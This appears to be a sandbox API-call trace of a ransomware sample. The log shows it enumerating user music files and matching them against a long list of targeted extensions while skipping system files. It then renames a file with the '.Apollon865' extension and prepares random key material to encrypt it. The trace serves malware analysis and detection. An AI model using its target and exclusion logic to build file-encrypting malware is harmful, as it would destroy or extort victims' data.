	[0087.989] lstrcmpiW (lpString1="jlP.m4a", lpString2="marshal") returned -1
	[0087.989] lstrlenW (lpString="mas") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="mas") returned -1
	[0087.989] lstrlenW (lpString="mav") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="mav") returned -1
	[0087.989] lstrlenW (lpString="maw") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="maw") returned -1
	[0087.989] lstrlenW (lpString="mdbhtml") returned 7
	[0087.989] lstrcmpiW (lpString1="jlP.m4a", lpString2="mdbhtml") returned -1
	[0087.989] lstrlenW (lpString="mdn") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="mdn") returned -1
	[0087.989] lstrlenW (lpString="mdt") returned 3
	[0087.989] lstrcmpiW (lpString1="m4a", lpString2="mdt") returned -1
	[0087.990] lstrlenW (lpString="mfd") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="mfd") returned -1
	[0087.990] lstrlenW (lpString="mpd") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="mpd") returned -1
	[0087.990] lstrlenW (lpString="mrg") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="mrg") returned -1
	[0087.990] lstrlenW (lpString="mud") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="mud") returned -1
	[0087.990] lstrlenW (lpString="mwb") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="mwb") returned -1
	[0087.990] lstrlenW (lpString="myd") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="myd") returned -1
	[0087.990] lstrlenW (lpString="ndf") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="ndf") returned -1
	[0087.990] lstrlenW (lpString="nnt") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="nnt") returned -1
	[0087.990] lstrlenW (lpString="nrmlib") returned 6
	[0087.990] lstrcmpiW (lpString1="lP.m4a", lpString2="nrmlib") returned -1
	[0087.990] lstrlenW (lpString="ns2") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="ns2") returned -1
	[0087.990] lstrlenW (lpString="ns3") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="ns3") returned -1
	[0087.990] lstrlenW (lpString="ns4") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="ns4") returned -1
	[0087.990] lstrlenW (lpString="nsf") returned 3
	[0087.990] lstrcmpiW (lpString1="m4a", lpString2="nsf") returned -1
	[0087.991] lstrlenW (lpString="nv") returned 2
	[0087.991] lstrcmpiW (lpString1="4a", lpString2="nv") returned -1
	[0087.991] lstrlenW (lpString="nv2") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="nv2") returned -1
	[0087.991] lstrlenW (lpString="nwdb") returned 4
	[0087.991] lstrcmpiW (lpString1=".m4a", lpString2="nwdb") returned -1
	[0087.991] lstrlenW (lpString="nyf") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="nyf") returned -1
	[0087.991] lstrlenW (lpString="odb") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.991] lstrlenW (lpString="odb") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0087.991] lstrlenW (lpString="oqy") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="oqy") returned -1
	[0087.991] lstrlenW (lpString="ora") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="ora") returned -1
	[0087.991] lstrlenW (lpString="orx") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="orx") returned -1
	[0087.991] lstrlenW (lpString="owc") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="owc") returned -1
	[0087.991] lstrlenW (lpString="p96") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="p96") returned -1
	[0087.991] lstrlenW (lpString="p97") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="p97") returned -1
	[0087.991] lstrlenW (lpString="pan") returned 3
	[0087.991] lstrcmpiW (lpString1="m4a", lpString2="pan") returned -1
	[0087.991] lstrlenW (lpString="pdb") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="pdb") returned -1
	[0087.992] lstrlenW (lpString="pdm") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="pdm") returned -1
	[0087.992] lstrlenW (lpString="pnz") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="pnz") returned -1
	[0087.992] lstrlenW (lpString="qry") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="qry") returned -1
	[0087.992] lstrlenW (lpString="qvd") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="qvd") returned -1
	[0087.992] lstrlenW (lpString="rbf") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="rbf") returned -1
	[0087.992] lstrlenW (lpString="rctd") returned 4
	[0087.992] lstrcmpiW (lpString1=".m4a", lpString2="rctd") returned -1
	[0087.992] lstrlenW (lpString="rod") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="rod") returned -1
	[0087.992] lstrlenW (lpString="rodx") returned 4
	[0087.992] lstrcmpiW (lpString1=".m4a", lpString2="rodx") returned -1
	[0087.992] lstrlenW (lpString="rpd") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="rpd") returned -1
	[0087.992] lstrlenW (lpString="rsd") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="rsd") returned -1
	[0087.992] lstrlenW (lpString="sas7bdat") returned 8
	[0087.992] lstrcmpiW (lpString1="pjlP.m4a", lpString2="sas7bdat") returned -1
	[0087.992] lstrlenW (lpString="sbf") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="sbf") returned -1
	[0087.992] lstrlenW (lpString="scx") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="scx") returned -1
	[0087.992] lstrlenW (lpString="sdb") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="sdb") returned -1
	[0087.992] lstrlenW (lpString="sdc") returned 3
	[0087.992] lstrcmpiW (lpString1="m4a", lpString2="sdc") returned -1
	[0087.992] lstrlenW (lpString="sdf") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="sdf") returned -1
	[0087.993] lstrlenW (lpString="sis") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="sis") returned -1
	[0087.993] lstrlenW (lpString="spq") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="spq") returned -1
	[0087.993] lstrlenW (lpString="te") returned 2
	[0087.993] lstrcmpiW (lpString1="4a", lpString2="te") returned -1
	[0087.993] lstrlenW (lpString="teacher") returned 7
	[0087.993] lstrcmpiW (lpString1="jlP.m4a", lpString2="teacher") returned -1
	[0087.993] lstrlenW (lpString="tmd") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="tmd") returned -1
	[0087.993] lstrlenW (lpString="tps") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="tps") returned -1
	[0087.993] lstrlenW (lpString="trc") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.993] lstrlenW (lpString="trc") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0087.993] lstrlenW (lpString="trm") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="trm") returned -1
	[0087.993] lstrlenW (lpString="udb") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="udb") returned -1
	[0087.993] lstrlenW (lpString="udl") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="udl") returned -1
	[0087.993] lstrlenW (lpString="usr") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="usr") returned -1
	[0087.993] lstrlenW (lpString="v12") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="v12") returned -1
	[0087.993] lstrlenW (lpString="vis") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="vis") returned -1
	[0087.993] lstrlenW (lpString="vpd") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="vpd") returned -1
	[0087.993] lstrlenW (lpString="vvv") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="vvv") returned -1
	[0087.993] lstrlenW (lpString="wdb") returned 3
	[0087.993] lstrcmpiW (lpString1="m4a", lpString2="wdb") returned -1
	[0087.994] lstrlenW (lpString="wmdb") returned 4
	[0087.994] lstrcmpiW (lpString1=".m4a", lpString2="wmdb") returned -1
	[0087.994] lstrlenW (lpString="wrk") returned 3
	[0087.994] lstrcmpiW (lpString1="m4a", lpString2="wrk") returned -1
	[0087.994] lstrlenW (lpString="xdb") returned 3
	[0087.994] lstrcmpiW (lpString1="m4a", lpString2="xdb") returned -1
	[0087.994] lstrlenW (lpString="xld") returned 3
	[0087.994] lstrcmpiW (lpString1="m4a", lpString2="xld") returned -1
	[0087.994] lstrlenW (lpString="xmlff") returned 5
	[0087.994] lstrcmpiW (lpString1="P.m4a", lpString2="xmlff") returned -1
	[0087.994] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\4pjlP.m4a.Apollon865") returned 81
	[0087.994] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\4pjlP.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\4pjlp.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\4pjlP.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\4pjlp.m4a.apollon865"), dwFlags=0x1) returned 1
	[0087.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\4pjlP.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\4pjlp.m4a.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.996] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=33804) returned 1
	[0087.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.996] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0087.996] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0087.997] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.997] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0087.997] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8710, lpName=0x0) returned 0x15c
	[0087.997] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8710) returned 0x100000
	[0087.999] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.000] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.000] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0088.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0088.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.000] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.001] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.001] CloseHandle (hObject=0x15c) returned 1
	[0088.001] CloseHandle (hObject=0x9c) returned 1
	[0088.003] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.003] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.003] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.003] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30350410, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30350410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.003] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.003] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x256ea010, ftCreationTime.dwHighDateTime=0x1d4ca48, ftLastAccessTime.dwLowDateTime=0x40b392a0, ftLastAccessTime.dwHighDateTime=0x1d4cec0, ftLastWriteTime.dwLowDateTime=0x40b392a0, ftLastWriteTime.dwHighDateTime=0x1d4cec0, nFileSizeHigh=0x0, nFileSizeLow=0x9fd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t5Zkw5T3PPXfXt8JbSa.mp3", cAlternateFileName="T5ZKW5~1.MP3")) returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2=".") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="..") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="windows") returned -1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="bootmgr") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="temp") returned -1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="pagefile.sys") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="boot") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="ids.txt") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="ntuser.dat") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="perflogs") returned 1
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2="MSBuild") returned 1
	[0088.004] lstrlenW (lpString="t5Zkw5T3PPXfXt8JbSa.mp3") returned 23
	[0088.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\4pjlP.m4a") returned 70
	[0088.004] lstrcpyW (in: lpString1=0x119e682, lpString2="t5Zkw5T3PPXfXt8JbSa.mp3" | out: lpString1="t5Zkw5T3PPXfXt8JbSa.mp3") returned="t5Zkw5T3PPXfXt8JbSa.mp3"
	[0088.004] lstrlenW (lpString="t5Zkw5T3PPXfXt8JbSa.mp3") returned 23
	[0088.004] lstrlenW (lpString="Apollon865") returned 10
	[0088.004] lstrcmpiW (lpString1="t8JbSa.mp3", lpString2="Apollon865") returned 1
	[0088.004] lstrlenW (lpString=".dll") returned 4
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2=".dll") returned 1
	[0088.004] lstrlenW (lpString=".lnk") returned 4
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2=".lnk") returned 1
	[0088.004] lstrlenW (lpString=".ini") returned 4
	[0088.004] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2=".ini") returned 1
	[0088.004] lstrlenW (lpString=".sys") returned 4
	[0088.005] lstrcmpiW (lpString1="t5Zkw5T3PPXfXt8JbSa.mp3", lpString2=".sys") returned 1
	[0088.005] lstrlenW (lpString="t5Zkw5T3PPXfXt8JbSa.mp3") returned 23
	[0088.005] lstrlenW (lpString="bak") returned 3
	[0088.005] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0088.005] lstrlenW (lpString="ba_") returned 3
	[0088.005] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0088.005] lstrlenW (lpString="dbb") returned 3
	[0088.005] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0088.005] lstrlenW (lpString="vmdk") returned 4
	[0088.005] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0088.005] lstrlenW (lpString="rar") returned 3
	[0088.005] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0088.005] lstrlenW (lpString="zip") returned 3
	[0088.005] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0088.005] lstrlenW (lpString="tgz") returned 3
	[0088.005] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0088.005] lstrlenW (lpString="vbox") returned 4
	[0088.005] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0088.005] lstrlenW (lpString="vdi") returned 3
	[0088.005] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0088.005] lstrlenW (lpString="vhd") returned 3
	[0088.005] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0088.005] lstrlenW (lpString="vhdx") returned 4
	[0088.005] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0088.005] lstrlenW (lpString="avhd") returned 4
	[0088.005] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0088.005] lstrlenW (lpString="db") returned 2
	[0088.006] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0088.006] lstrlenW (lpString="db2") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0088.006] lstrlenW (lpString="db3") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0088.006] lstrlenW (lpString="dbf") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0088.006] lstrlenW (lpString="mdf") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0088.006] lstrlenW (lpString="mdb") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0088.006] lstrlenW (lpString="sql") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0088.006] lstrlenW (lpString="sqlite") returned 6
	[0088.006] lstrcmpiW (lpString1="Sa.mp3", lpString2="sqlite") returned -1
	[0088.006] lstrlenW (lpString="sqlite3") returned 7
	[0088.006] lstrcmpiW (lpString1="bSa.mp3", lpString2="sqlite3") returned -1
	[0088.006] lstrlenW (lpString="sqlitedb") returned 8
	[0088.006] lstrcmpiW (lpString1="JbSa.mp3", lpString2="sqlitedb") returned -1
	[0088.006] lstrlenW (lpString="xml") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0088.006] lstrlenW (lpString="$er") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0088.006] lstrlenW (lpString="4dd") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0088.006] lstrlenW (lpString="4dl") returned 3
	[0088.006] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0088.007] lstrlenW (lpString="^^^") returned 3
	[0088.007] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0088.007] lstrlenW (lpString="abs") returned 3
	[0088.007] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0088.007] lstrlenW (lpString="abx") returned 3
	[0088.007] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0088.007] lstrlenW (lpString="accdb") returned 5
	[0088.007] lstrcmpiW (lpString1="a.mp3", lpString2="accdb") returned -1
	[0088.007] lstrlenW (lpString="accdc") returned 5
	[0088.007] lstrcmpiW (lpString1="a.mp3", lpString2="accdc") returned -1
	[0088.007] lstrlenW (lpString="accde") returned 5
	[0088.007] lstrcmpiW (lpString1="a.mp3", lpString2="accde") returned -1
	[0088.007] lstrlenW (lpString="accdr") returned 5
	[0088.007] lstrcmpiW (lpString1="a.mp3", lpString2="accdr") returned -1
	[0088.007] lstrlenW (lpString="accdt") returned 5
	[0088.007] lstrcmpiW (lpString1="a.mp3", lpString2="accdt") returned -1
	[0088.007] lstrlenW (lpString="accdw") returned 5
	[0088.007] lstrcmpiW (lpString1="a.mp3", lpString2="accdw") returned -1
	[0088.007] lstrlenW (lpString="accft") returned 5
	[0088.007] lstrcmpiW (lpString1="a.mp3", lpString2="accft") returned -1
	[0088.007] lstrlenW (lpString="adb") returned 3
	[0088.007] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.007] lstrlenW (lpString="adb") returned 3
	[0088.007] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0088.007] lstrlenW (lpString="ade") returned 3
	[0088.007] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0088.007] lstrlenW (lpString="adf") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0088.008] lstrlenW (lpString="adn") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0088.008] lstrlenW (lpString="adp") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0088.008] lstrlenW (lpString="alf") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0088.008] lstrlenW (lpString="ask") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0088.008] lstrlenW (lpString="btr") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0088.008] lstrlenW (lpString="cat") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0088.008] lstrlenW (lpString="cdb") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0088.008] lstrlenW (lpString="ckp") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0088.008] lstrlenW (lpString="cma") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0088.008] lstrlenW (lpString="cpd") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0088.008] lstrlenW (lpString="dacpac") returned 6
	[0088.008] lstrcmpiW (lpString1="Sa.mp3", lpString2="dacpac") returned 1
	[0088.008] lstrlenW (lpString="dad") returned 3
	[0088.008] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0088.008] lstrlenW (lpString="dadiagrams") returned 10
	[0088.008] lstrcmpiW (lpString1="t8JbSa.mp3", lpString2="dadiagrams") returned 1
	[0088.009] lstrlenW (lpString="daschema") returned 8
	[0088.009] lstrcmpiW (lpString1="JbSa.mp3", lpString2="daschema") returned 1
	[0088.009] lstrlenW (lpString="db-journal") returned 10
	[0088.009] lstrcmpiW (lpString1="t8JbSa.mp3", lpString2="db-journal") returned 1
	[0088.009] lstrlenW (lpString="db-shm") returned 6
	[0088.009] lstrcmpiW (lpString1="Sa.mp3", lpString2="db-shm") returned 1
	[0088.009] lstrlenW (lpString="db-wal") returned 6
	[0088.009] lstrcmpiW (lpString1="Sa.mp3", lpString2="db-wal") returned 1
	[0088.009] lstrlenW (lpString="dbc") returned 3
	[0088.009] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0088.009] lstrlenW (lpString="dbs") returned 3
	[0088.009] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0088.009] lstrlenW (lpString="dbt") returned 3
	[0088.009] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0088.009] lstrlenW (lpString="dbv") returned 3
	[0088.009] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0088.009] lstrlenW (lpString="dbx") returned 3
	[0088.009] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0088.009] lstrlenW (lpString="dcb") returned 3
	[0088.009] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0088.009] lstrlenW (lpString="dct") returned 3
	[0088.009] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0088.009] lstrlenW (lpString="dcx") returned 3
	[0088.009] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0088.009] lstrlenW (lpString="ddl") returned 3
	[0088.009] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0088.009] lstrlenW (lpString="dlis") returned 4
	[0088.009] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0088.010] lstrlenW (lpString="dp1") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0088.010] lstrlenW (lpString="dqy") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0088.010] lstrlenW (lpString="dsk") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0088.010] lstrlenW (lpString="dsn") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0088.010] lstrlenW (lpString="dtsx") returned 4
	[0088.010] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0088.010] lstrlenW (lpString="dxl") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0088.010] lstrlenW (lpString="eco") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0088.010] lstrlenW (lpString="ecx") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0088.010] lstrlenW (lpString="edb") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0088.010] lstrlenW (lpString="epim") returned 4
	[0088.010] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0088.010] lstrlenW (lpString="fcd") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0088.010] lstrlenW (lpString="fdb") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0088.010] lstrlenW (lpString="fic") returned 3
	[0088.010] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0088.010] lstrlenW (lpString="flexolibrary") returned 12
	[0088.010] lstrcmpiW (lpString1="fXt8JbSa.mp3", lpString2="flexolibrary") returned 1
	[0088.011] lstrlenW (lpString="fm5") returned 3
